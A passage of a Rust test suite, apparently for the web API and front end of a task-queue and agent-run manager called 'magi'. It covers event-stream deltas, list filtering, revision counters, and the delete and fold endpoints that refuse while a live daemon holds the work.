21156        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
21157        let during = monitor_scan(&ui, Some(before.clone()));
21158        assert_eq!(during.0.2, before.0.2);
21159        assert_ne!(during.0.3, before.0.3);
21160        assert!(during.1[2].contains_key("new"));
21161        std::fs::remove_file(ui.questions.root()).unwrap();
21162        let after = monitor_scan(&ui, Some(during));
21163        assert_eq!(after.0.2, 0);
21164        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
21165        // A failed first scan also permits healthy stores to publish.
21166        std::fs::write(ui.questions.root(), "not a directory").unwrap();
21167        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
21168    }
21169
21170    #[tokio::test]
21171    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
21172        let home = TempDir::new().unwrap();
21173        let ui = delta_test_ui(home.path());
21174        let mut task = Task::new(
21175            "stream task".into(),
21176            "text".into(),
21177            PathBuf::from("/repo"),
21178            Source::Human,
21179        );
21180        ui.queue.put(&mut task).unwrap();
21181        let response = events(State(ui.clone())).await.into_response();
21182        let mut stream = response.into_body().into_data_stream();
21183        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
21184            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
21185                .await
21186                .unwrap()
21187                .unwrap()
21188                .unwrap();
21189            let text = String::from_utf8(chunk.to_vec()).unwrap();
21190            let data = text
21191                .lines()
21192                .find_map(|line| {
21193                    line.strip_prefix("data: ")
21194                        .or_else(|| line.strip_prefix("data:"))
21195                })
21196                .unwrap();
21197            serde_json::from_str(data).unwrap()
21198        }
21199        let initial = change(&mut stream).await;
21200        assert!(initial.get("queue_delta").is_none());
21201        task.instruction.push_str(" changed");
21202        ui.queue.put(&mut task).unwrap();
21203        let updated = change(&mut stream).await;
21204        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
21205        assert_eq!(
21206            updated["queue_delta"]["changed"],
21207            serde_json::json!([task.id])
21208        );
21209        assert_eq!(
21210            updated["queue_rev"].as_u64(),
21211            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
21212        );
21213        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
21214        let removed = change(&mut stream).await;
21215        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
21216        assert_eq!(
21217            removed["queue_delta"]["removed"],
21218            serde_json::json!([task.id])
21219        );
21220    }
21221
21222    #[tokio::test]
21223    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
21224        let home = TempDir::new().unwrap();
21225        let ui = delta_test_ui(home.path());
21226        let queue = ui.queue.clone();
21227        let query = |ids: Option<&str>| {
21228            Query(ListQuery {
21229                limit: Some(2),
21230                ids: ids.map(str::to_owned),
21231            })
21232        };
21233        let mut root = Task::new(
21234            "root".into(),
21235            "instruction".into(),
21236            PathBuf::from("/repo"),
21237            Source::Human,
21238        );
21239        queue.put(&mut root).unwrap();
21240        let mut blocked = Task::new(
21241            "blocked".into(),
21242            "instruction".into(),
21243            PathBuf::from("/repo"),
21244            Source::Human,
21245        );
21246        blocked.block(vec![root.id.clone()], None);
21247        queue.put(&mut blocked).unwrap();
21248        let whole =
21249            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
21250                .unwrap();
21251        let subset = serde_json::to_value(
21252            queue_list(State(ui.clone()), query(Some(&root.id)))
21253                .await
21254                .unwrap()
21255                .0,
21256        )
21257        .unwrap();
21258        assert_eq!(whole, subset, "requested root plus its blocked dependent");
21259        let blockers = serde_json::to_value(
21260            queue_list(State(ui.clone()), query(Some("")))
21261                .await
21262                .unwrap()
21263                .0,
21264        )
21265        .unwrap();
21266        assert_eq!(blockers.as_array().unwrap().len(), 1);
21267        assert_eq!(blockers[0]["id"], blocked.id);
21268        assert_eq!(
21269            blockers[0]["waits_on"],
21270            whole
21271                .as_array()
21272                .unwrap()
21273                .iter()
21274                .find(|row| row["id"] == blocked.id)
21275                .unwrap()["waits_on"]
21276        );
21277
21278        for id in [
21279            "20260902-140501-aaaa",
21280            "20260902-140502-bbbb",
21281            "20260902-140503-cccc",
21282        ] {
21283            write_run(&ui.runs, id, RunStatus::Merged);
21284        }
21285        let old = serde_json::to_value(
21286            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
21287                .await
21288                .unwrap()
21289                .0,
21290        )
21291        .unwrap();
21292        assert!(
21293            old.as_array().unwrap().is_empty(),
21294            "older updates must not enter the window"
21295        );
21296        let newest = serde_json::to_value(
21297            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
21298                .await
21299                .unwrap()
21300                .0,
21301        )
21302        .unwrap();
21303        assert_eq!(newest.as_array().unwrap().len(), 1);
21304        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
21305
21306        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
21307        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
21308        let talks = serde_json::to_value(
21309            talks_list(
21310                State(ui.clone()),
21311                query(Some("20260905-000000-d4e5")),
21312                header::HeaderMap::new(),
21313            )
21314            .await
21315            .unwrap()
21316            .0,
21317        )
21318        .unwrap();
21319        assert_eq!(talks.as_array().unwrap().len(), 1);
21320        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
21321        assert_eq!(
21322            serde_json::to_value(
21323                talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
21324                    .await
21325                    .unwrap()
21326                    .0
21327            )
21328            .unwrap(),
21329            serde_json::json!([])
21330        );
21331    }
21332
21333    #[tokio::test]
21334    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
21335    async fn delta_payload_benchmark() {
21336        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
21337        let ui = delta_test_ui(&home);
21338        let query = |ids: Option<String>| {
21339            Query(ListQuery {
21340                limit: Some(50),
21341                ids,
21342            })
21343        };
21344        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
21345        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
21346        let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
21347            .await
21348            .unwrap()
21349            .0;
21350        let queue_id = queue
21351            .iter()
21352            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
21353            .unwrap_or(&queue[0])
21354            .task
21355            .id
21356            .clone();
21357        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
21358            .await
21359            .unwrap()
21360            .0;
21361        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
21362            .await
21363            .unwrap()
21364            .0;
21365        let talks_delta = talks_list(
21366            State(ui.clone()),
21367            query(Some(talks[0].id.clone())),
21368            header::HeaderMap::new(),
21369        )
21370        .await
21371        .unwrap()
21372        .0;
21373        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
21374        eprintln!(
21375            "DELTA_PAYLOAD {}",
21376            serde_json::json!({
21377                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
21378                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
21379                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
21380                "counts": [queue.len(), runs.len(), talks.len()],
21381                "blocked": queue_delta.len() - 1,
21382            })
21383        );
21384    }
21385
21386    #[test]
21387    fn runs_revision_moves_when_deleting_an_older_run() {
21388        let temp = TempDir::new().expect("tempdir");
21389        let runs = temp.path().join("runs");
21390        std::fs::create_dir_all(&runs).expect("create runs dir");
21391
21392        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
21393
21394        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
21395        std::thread::sleep(Duration::from_millis(10));
21396        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
21397
21398        let rev_before = runs_revision(&runs);
21399        assert!(rev_before > 0);
21400
21401        let old_dir = runs.join("20260901-100000-old1");
21402        std::fs::remove_dir_all(&old_dir).expect("remove old run");
21403
21404        let rev_after = runs_revision(&runs);
21405        assert_ne!(
21406            rev_before, rev_after,
21407            "deleting an older run must change the revision so other clients see the deletion"
21408        );
21409    }
21410
21411    /// A run's own `run.json` on an explicit `runs` root, bypassing the
21412    /// process-global home entirely — `RunState::save` writes through
21413    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
21414    /// (see `tests::home_lock` in the integration suite for why).
21415    fn write_state(runs: &FsPath, state: &RunState) {
21416        let dir = runs.join(&state.id);
21417        std::fs::create_dir_all(&dir).expect("run dir");
21418        std::fs::write(
21419            dir.join("run.json"),
21420            serde_json::to_string_pretty(state).expect("serialize run"),
21421        )
21422        .expect("write run.json");
21423    }
21424
21425    /// A seat starting or finishing is a write to `run.json` like any other,
21426    /// so it moves the same revision the change stream already watches —
21427    /// nothing new for `/api/events` to learn, but the property this feature
21428    /// depends on to reach the phone without a poll.
21429    #[test]
21430    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
21431        let temp = TempDir::new().expect("tempdir");
21432        let runs = temp.path().join("runs");
21433        std::fs::create_dir_all(&runs).expect("create runs dir");
21434        let mut state = RunState::new(
21435            PathBuf::from("/repo/magi"),
21436            "main".to_owned(),
21437            "0123456789abcdef".to_owned(),
21438            "task".to_owned(),
21439            Config::default(),
21440        );
21441        state.id = "20260902-100000-c0de".to_owned();
21442        write_state(&runs, &state);
21443
21444        let rev_idle = runs_revision(&runs);
21445        std::thread::sleep(Duration::from_millis(10));
21446        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
21447        write_state(&runs, &state);
21448        let rev_started = runs_revision(&runs);
21449        assert_ne!(
21450            rev_idle, rev_started,
21451            "a seat starting must move the revision"
21452        );
21453
21454        std::thread::sleep(Duration::from_millis(10));
21455        state.seat_finished("judge-1");
21456        write_state(&runs, &state);
21457        let rev_finished = runs_revision(&runs);
21458        assert_ne!(
21459            rev_started, rev_finished,
21460            "and clearing it again must move the revision a second time"
21461        );
21462    }
21463
21464    #[tokio::test]
21465    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
21466        // `TaskView` flattens `Task`, so this is really asserting that
21467        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
21468        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
21469        // never touched web.rs, so nothing here caught it if it had.
21470        let fx = Fixture::start().await;
21471        let q = fx.queue();
21472
21473        let mut t = Task::new(
21474            "Task".to_owned(),
21475            "Instruction".to_owned(),
21476            PathBuf::from("/repo"),
21477            Source::Human,
21478        );
21479        t.block(
21480            vec!["20260101-000000-dead".to_owned()],
21481            Some("waiting on Task 1".to_owned()),
21482        );
21483        t.answers.push(crate::queue::AnsweredQuestion {
21484            question: "Which backend?".to_owned(),
21485            answer: "SQLite".to_owned(),
21486        });
21487        q.put(&mut t).expect("put t");
21488
21489        let res = fx.get("/api/queue").await;
21490        assert_eq!(res.status, 200);
21491        let list = res.json();
21492        let view = list
21493            .as_array()
21494            .expect("array")
21495            .iter()
21496            .find(|v| v["id"] == t.id)
21497            .expect("task in list");
21498        assert_eq!(view["status_str"], "blocked");
21499        assert_eq!(
21500            view["blocked_by"],
21501            serde_json::json!(["20260101-000000-dead"])
21502        );
21503        assert_eq!(view["block_reason"], "waiting on Task 1");
21504        assert_eq!(view["answers"][0]["question"], "Which backend?");
21505        assert_eq!(view["answers"][0]["answer"], "SQLite");
21506
21507        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
21508        // but never `answers` - that is a settled decision, not state
21509        // describing the current block, so it survives.
21510        let res = fx
21511            .post(&format!("/api/queue/{}/hold", t.short()), None)
21512            .await;
21513        assert_eq!(res.status, 200);
21514        let held = res.json();
21515        assert_eq!(held["status_str"], "held");
21516        assert_eq!(held["blocked_by"], serde_json::json!([]));
21517        assert!(held["block_reason"].is_null());
21518        assert_eq!(held["answers"][0]["answer"], "SQLite");
21519    }
21520
21521    #[tokio::test]
21522    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
21523        let fx = Fixture::start().await;
21524        let q = fx.queue();
21525        let mk = |title: &str| {
21526            Task::new(
21527                title.to_owned(),
21528                "Instruction".to_owned(),
21529                PathBuf::from("/repo"),
21530                Source::Human,
21531            )
21532        };
21533        let mut root = mk("root");
21534        root.hold_manual(Some("waiting".to_owned()));
21535        q.put(&mut root).unwrap();
21536        let mut mid = mk("mid");
21537        mid.block(vec![root.id.clone()], None);
21538        q.put(&mut mid).unwrap();
21539        let mut leaf = mk("leaf");
21540        leaf.block(vec![mid.id.clone()], None);
21541        q.put(&mut leaf).unwrap();
21542
21543        let list = fx.get("/api/queue").await.json();
21544        let find = |id: &str| {
21545            list.as_array()
21546                .unwrap()
21547                .iter()
21548                .find(|v| v["id"] == id)
21549                .unwrap()
21550                .clone()
21551        };
21552        let leaf_view = find(&leaf.id);
21553        assert_eq!(
21554            leaf_view["waits_on"],
21555            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
21556        );
21557        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
21558        assert_eq!(
21559            find(&mid.id)["waits_on"],
21560            serde_json::json!([format!("{} (held)", root.short())])
21561        );
21562        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
21563    }
21564
21565    #[tokio::test]
21566    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
21567        let fx = Fixture::start().await;
21568        let q = fx.queue();
21569
21570        // 1. A queued task with runs attached can be deleted.
21571        let mut t1 = Task::new(
21572            "Task 1".to_owned(),
21573            "Instruction 1".to_owned(),
21574            PathBuf::from("/repo"),
21575            Source::Human,
21576        );
21577        let run_id = "20260901-000000-r111";
21578        t1.runs.push(run_id.to_owned());
21579        write_run(&fx.runs(), run_id, RunStatus::Merged);
21580        q.put(&mut t1).expect("put t1");
21581
21582        // Delete by short id
21583        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
21584        assert_eq!(res.status, 204);
21585        assert!(res.body.is_empty(), "204 No Content has no body");
21586        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
21587        assert!(
21588            fx.runs().join(run_id).exists(),
21589            "run directory must not be deleted when its task is deleted"
21590        );
21591
21592        // 2. A task a live daemon is running is refused with 409.
21593        let mut t2 = Task::new(
21594            "Task 2".to_owned(),
21595            "Instruction 2".to_owned(),
21596            PathBuf::from("/repo"),
21597            Source::Human,
21598        );
21599        t2.status = TaskStatus::Running;
21600        q.put(&mut t2).expect("put t2");
21601        let mut beat = crate::daemon::Status::new();
21602        beat.current = vec![crate::daemon::Current {
21603            worker: None,
21604            task: t2.id.clone(),
21605            run: "20260901-000000-r222".to_owned(),
21606        }];
21607        beat.updated_at = jiff::Timestamp::now();
21608        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21609            .expect("publish a heartbeat");
21610        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
21611        assert_eq!(res.status, 409);
21612        assert!(
21613            res.json()["error"]
21614                .as_str()
21615                .unwrap()
21616                .contains("live daemon")
21617        );
21618        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
21619
21620        // 3. The same `running` status and an orphaned lock, with no daemon
21621        // behind either, is a leftover and deletable. Before this the phone
21622        // refused it for good: the status never changes on its own and
21623        // nothing drops a lock whose process is gone.
21624        // The daemon is killed: the file stays, the heartbeat stops.
21625        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
21626        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21627            .expect("leave a stale heartbeat");
21628        let mut t3 = Task::new(
21629            "Task 3".to_owned(),
21630            "Instruction 3".to_owned(),
21631            PathBuf::from("/repo"),
21632            Source::Human,
21633        );
21634        t3.status = TaskStatus::Running;
21635        q.put(&mut t3).expect("put t3");
21636        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
21637        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
21638        assert_eq!(res.status, 204);
21639        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
21640        assert!(
21641            q.claim(&t3.id).is_ok(),
21642            "the stale lock went with it, so the id is claimable again"
21643        );
21644
21645        // 4. Missing id returns 404
21646        let res = fx.delete("/api/queue/nonexistent").await;
21647        assert_eq!(res.status, 404);
21648    }
21649
21650    #[tokio::test]
21651    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
21652        let fx = Fixture::start().await;
21653        let runs = fx.runs();
21654
21655        // 1. Finished and folded run can be deleted along with artifacts
21656        let run_id = "20260901-000000-fold";
21657        let mut state = RunState::new(
21658            PathBuf::from("/repo"),
21659            "main".to_owned(),
21660            "abc".to_owned(),
21661            "instruction".to_owned(),
21662            Config::default(),
21663        );
21664        state.id = run_id.to_owned();
21665        state.status = RunStatus::Merged;
21666        state.candidates.push(crate::run::Candidate {
21667            index: 0,
21668            label: 'A',
21669            agent: "a".to_owned(),
21670            branch: "b".to_owned(),
21671            worktree: PathBuf::from("/w"),
21672            summary: String::new(),
21673            stat: String::new(),
21674            files: 1,
21675            commits: 1,
21676            empty: false,
21677            failed: None,
21678            verified_noop: None,
21679            duration_ms: 0,
21680            folded: true,
21681        });
21682        let dir = runs.join(run_id);
21683        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
21684        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
21685            .expect("write artifact");
21686        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
21687            .expect("write run.json");
21688
21689        // Delete by short id
21690        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
21691        assert_eq!(res.status, 204);
21692        assert!(res.body.is_empty(), "204 has no body");
21693        assert!(!dir.exists(), "run directory and artifacts must be deleted");
21694
21695        // 2. A run a live daemon is working on is refused with 409. The
21696        // heartbeat is what makes it refusable: an unfinished run with no
21697        // daemon behind it is a leftover from a killed process, and case 1
21698        // above would otherwise be impossible to tell apart from this one.
21699        let run_running = "20260901-000000-rung";
21700        write_run(&runs, run_running, RunStatus::Prep);
21701        let mut beat = crate::daemon::Status::new();
21702        beat.current = vec![crate::daemon::Current {
21703            worker: None,
21704            task: "20260901-000000-task".to_owned(),
21705            run: run_running.to_owned(),
21706        }];
21707        beat.updated_at = jiff::Timestamp::now();
21708        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21709            .expect("publish a heartbeat");
21710        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
21711        assert_eq!(res.status, 409);
21712        assert!(
21713            res.json()["error"]
21714                .as_str()
21715                .unwrap()
21716                .contains("live daemon"),
21717            "the refusal must say who is holding it"
21718        );
21719        assert!(
21720            runs.join(run_running).exists(),
21721            "a run in flight keeps its directory"
21722        );
21723
21724        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
21725        let run_unfolded = "20260901-000000-unfd";
21726        let mut state2 = RunState::new(
21727            PathBuf::from("/repo"),
21728            "main".to_owned(),
21729            "abc".to_owned(),
21730            "instruction".to_owned(),
21731            Config::default(),
21732        );
21733        state2.id = run_unfolded.to_owned();
21734        state2.status = RunStatus::Ready;
21735        state2.candidates.push(crate::run::Candidate {
21736            index: 0,
21737            label: 'A',
21738            agent: "a".to_owned(),
21739            branch: "b".to_owned(),
21740            worktree: PathBuf::from("/w"),
21741            summary: String::new(),
21742            stat: String::new(),
21743            files: 1,
21744            commits: 1,
21745            empty: false,
21746            failed: None,
21747            verified_noop: None,
21748            duration_ms: 0,
21749            folded: false,
21750        });
21751        let dir2 = runs.join(run_unfolded);
21752        std::fs::create_dir_all(&dir2).expect("create dir2");
21753        std::fs::write(
21754            dir2.join("run.json"),
21755            serde_json::to_string(&state2).unwrap(),
21756        )
21757        .expect("write run.json");
21758
21759        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
21760        assert_eq!(res.status, 409);
21761        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
21762        assert!(dir2.exists(), "unfolded run directory is kept");
21763
21764        // 4. Missing id returns 404
21765        let res = fx.delete("/api/runs/nonexistent").await;
21766        assert_eq!(res.status, 404);
21767    }
21768
21769    /// The queue tiles on the Stats tab must render even on a home with no
21770    /// runs at all: queue state is not derived from run history, so hiding
21771    /// the whole dashboard body behind "no runs yet" would drop the one
21772    /// thing this tab promises unconditionally (queued/running/held/done).
21773    /// A DOM-level test would need a browser this suite does not have, so
21774    /// this pins the same invariant textually: `renderStatsQueue` is called
21775    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
21776    /// block that gates the run-derived panels.
21777    #[test]
21778    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
21779        let start = APP_JS
21780            .find("function renderStats() {")
21781            .expect("renderStats");
21782        let end = start
21783            + APP_JS[start..]
21784                .find("function statsTile(")
21785                .expect("the next top-level function");
21786        let body = &APP_JS[start..end];
21787
21788        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
21789        let gate_end = gate_start
21790            + body[gate_start..]
21791                .find("}\n  renderStatsQueue")
21792                .expect("the gate's own closing brace, right before the unconditional call");
21793        let gated = &body[gate_start..gate_end];
21794
21795        assert_eq!(
21796            body.matches("renderStatsQueue(").count(),
21797            1,
21798            "renderStats must call renderStatsQueue exactly once: {body}"
21799        );
21800        assert!(
21801            !gated.contains("renderStatsQueue"),
21802            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
21803             run-derived panels on an empty run history - the queue panel has to render \
21804             regardless: {gated}"
21805        );
21806    }
21807
21808    #[test]
21809    fn web_ui_delete_contract_in_front_end() {
21810        // 1. API block has both delete endpoints
21811        assert!(APP_JS.contains("deleteRun:"));
21812        assert!(APP_JS.contains("deleteTask:"));
21813
21814        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
21815        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
21816            ..APP_JS.find("function renderRuns").unwrap()];
21817        assert!(!run_cards_slice.to_lowercase().contains("delete"));
21818
21819        // 3. Run detail has delete entry and reasons
21820        assert!(APP_JS.contains("renderRunDelete"));
21821        assert!(APP_JS.contains("runDeleteReason"));
21822        assert!(APP_JS.contains("magi fold"));
21823        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
21824
21825        // 4. Two-step delete arming and focus on Cancel
21826        assert!(APP_JS.contains("cancel.focus"));
21827        assert!(APP_JS.contains("armedRunDelete"));
21828        assert!(APP_JS.contains("renderTaskDeleteBox"));
21829        assert!(APP_JS.contains("armed${cap(key)}"));
21830
21831        // 5. Running task has disabled delete
21832        assert!(APP_JS.contains("disabled: status === \"running\""));
21833    }
21834
21835    /// Every element a run card's updater reaches for must be in the `refs`
21836    /// the builder handed it.
21837    ///
21838    /// `createRunCard` builds its elements, appends them to the card, and then
21839    /// lists them again in `row.refs`. That second list is the one the updater
21840    /// uses, and nothing connects the two - an element can be built, appended
21841    /// and rendered, and still be missing from `refs`. `superseded` was, for
21842    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
21843    /// exception took `syncList` with it, and the deck showed
21844    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
21845    /// line is computed before the cards, which is why the failure looked like
21846    /// a server that had lost its runs rather than a front end that had
21847    /// stopped rendering them.
21848    ///
21849    /// A `cargo test` cannot execute the front end, so this reads the two
21850    /// halves out of the source and compares them as sets. It is not a check
21851    /// on the wording of either list: adding an element, renaming one, or
21852    /// reordering them all keeps this passing, and only using one the builder
21853    /// never published fails it.
21854    #[test]
21855    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
21856        let build = APP_JS
21857            .find("function createRunCard")
21858            .expect("createRunCard exists");
21859        let update = APP_JS
21860            .find("function updateRunCard")
21861            .expect("updateRunCard exists");
21862        let end = APP_JS
21863            .find("function renderRuns")
21864            .expect("renderRuns exists");
21865
21866        // The builder's published set: the object literal assigned to `refs`.
21867        let builder = &APP_JS[build..update];
21868        let open = builder.find("refs = {").expect("createRunCard sets refs");
21869        let literal = &builder[open + "refs = {".len()..];
21870        let close = literal.find('}').expect("the refs literal is closed");
21871        let published: HashSet<&str> = literal[..close]
21872            .split(',')
21873            // `name` and `name: value` both bind `name`.
21874            .filter_map(|entry| entry.split(':').next())
21875            .map(str::trim)
21876            .filter(|name| !name.is_empty())
21877            .collect();
21878        assert!(
21879            published.len() > 5,
21880            "the refs literal did not parse into names: {published:?}"
21881        );
21882
21883        // What the updaters reach for: every `r.<name>`, where `r` is the
21884        // `const r = row.refs` alias both functions open with.
21885        let mut used: Vec<&str> = Vec::new();
21886        let updaters = &APP_JS[update..end];
21887        for (at, _) in updaters.match_indices("r.") {
21888            // `r` must be the whole identifier, not the tail of another one
21889            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
21890            let before = updaters[..at].chars().next_back();
21891            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21892                continue;
21893            }
21894            let rest = &updaters[at + 2..];
21895            let len = rest
21896                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21897                .unwrap_or(rest.len());
21898            if len > 0 {
21899                used.push(&rest[..len]);
21900            }
21901        }
21902        assert!(
21903            used.len() > 5,
21904            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21905        );
21906
21907        let missing: Vec<&str> = used
21908            .iter()
21909            .copied()
21910            .filter(|name| !published.contains(name))
21911            .collect();
21912        assert!(
21913            missing.is_empty(),
21914            "a run card's updater reaches for {missing:?}, which `createRunCard` \
21915             never put in `refs` - every card will throw and the list will \
21916             render empty under a count line that says otherwise. Published: \
21917             {published:?}"
21918        );
21919    }
21920
21921    #[tokio::test]
21922    async fn folding_from_the_phone_reports_what_it_removed() {
21923        let fx = Fixture::start().await;
21924        let runs = fx.runs();
21925
21926        // A run with no candidates has nothing to fold, which is a 200 with an
21927        // honest count rather than an error: the operator asked for the trees
21928        // to be gone and they are.
21929        let id = "20260901-000000-fold";
21930        write_run(&runs, id, RunStatus::Stalled);
21931        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21932        assert_eq!(res.status, 200);
21933        assert_eq!(res.json()["removed_count"], 0);
21934        assert_eq!(res.json()["run"], id);
21935        assert!(
21936            runs.join(id).exists(),
21937            "a fold keeps the run's record; only the worktrees go"
21938        );
21939    }
21940
21941    #[tokio::test]
21942    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21943        let fx = Fixture::start().await;
21944        let runs = fx.runs();
21945        let wt = fx.home.path().join("wt").join("magi").join("dead");
21946        let id = "20260901-000000-dead";
21947        std::fs::create_dir_all(runs.join(id)).expect("run dir");
21948        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21949        std::fs::create_dir_all(&wt).expect("worktree dir");
21950
21951        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21952        assert_eq!(res.status, 200, "{}", res.body);
21953        assert!(
21954            res.json()["removed_count"].as_u64().unwrap() > 0,
21955            "the worktree this build could not read a state for still went"
21956        );
21957        assert!(
21958            !runs.join(id).exists(),
21959            "an unreadable run has no candidate list to fold selectively, so \
21960             the whole record goes - same as `magi fold` on the CLI"
21961        );
21962    }
21963
21964    #[tokio::test]
21965    async fn deleting_an_unreadable_run_removes_it_wholesale() {
21966        let fx = Fixture::start().await;
21967        let runs = fx.runs();
21968        let wt = fx.home.path().join("wt").join("magi").join("gone");
21969        let id = "20260901-000000-gone";
21970        std::fs::create_dir_all(runs.join(id)).expect("run dir");
21971        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21972        std::fs::create_dir_all(&wt).expect("worktree dir");
21973
21974        let res = fx.delete(&format!("/api/runs/{id}")).await;
21975        assert_eq!(res.status, 204, "{}", res.body);
21976        assert!(!runs.join(id).exists(), "the broken record is gone");
21977        assert!(!wt.exists(), "its worktree is gone too");
21978    }
21979
21980    #[tokio::test]
21981    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21982        let fx = Fixture::start().await;
21983        let runs = fx.runs();
21984        let id = "20260901-000000-live";
21985        write_run(&runs, id, RunStatus::Implementing);
21986
21987        let mut beat = crate::daemon::Status::new();
21988        beat.current = vec![crate::daemon::Current {
21989            worker: None,
21990            task: "20260901-000000-task".to_owned(),
21991            run: id.to_owned(),
21992        }];
21993        beat.updated_at = jiff::Timestamp::now();
21994        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21995            .expect("publish a heartbeat");
21996
21997        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21998        assert_eq!(res.status, 409);
21999        assert!(
22000            res.json()["error"]
22001                .as_str()
22002                .unwrap()
22003                .contains("live daemon"),
22004            "folding under a running agent would pull its worktree away"
22005        );
22006    }
22007
22008    #[tokio::test]
22009    async fn fold_merged_requires_a_pr_url() {
22010        let fx = Fixture::start().await;
22011        let runs = fx.runs();
22012        let id = "20260901-000000-nourl";
22013        write_run(&runs, id, RunStatus::Blocked);
22014
22015        let res = fx
22016            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
22017            .await;
22018        assert_eq!(res.status, 400, "{}", res.body);
22019
22020        let blank = fx
22021            .post(
22022                &format!("/api/runs/{id}/fold-merged"),
22023                Some(r#"{"pr_url":"   "}"#),
22024            )
22025            .await;
22026        assert_eq!(blank.status, 400, "{}", blank.body);
22027    }
22028
22029    #[tokio::test]
22030    async fn fold_merged_is_404_for_an_unknown_run() {
22031        let fx = Fixture::start().await;
22032        let res = fx
22033            .post(
22034                "/api/runs/nosuchrun/fold-merged",
22035                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22036            )
22037            .await;
22038        assert_eq!(res.status, 404, "{}", res.body);
22039    }
22040
22041    #[tokio::test]
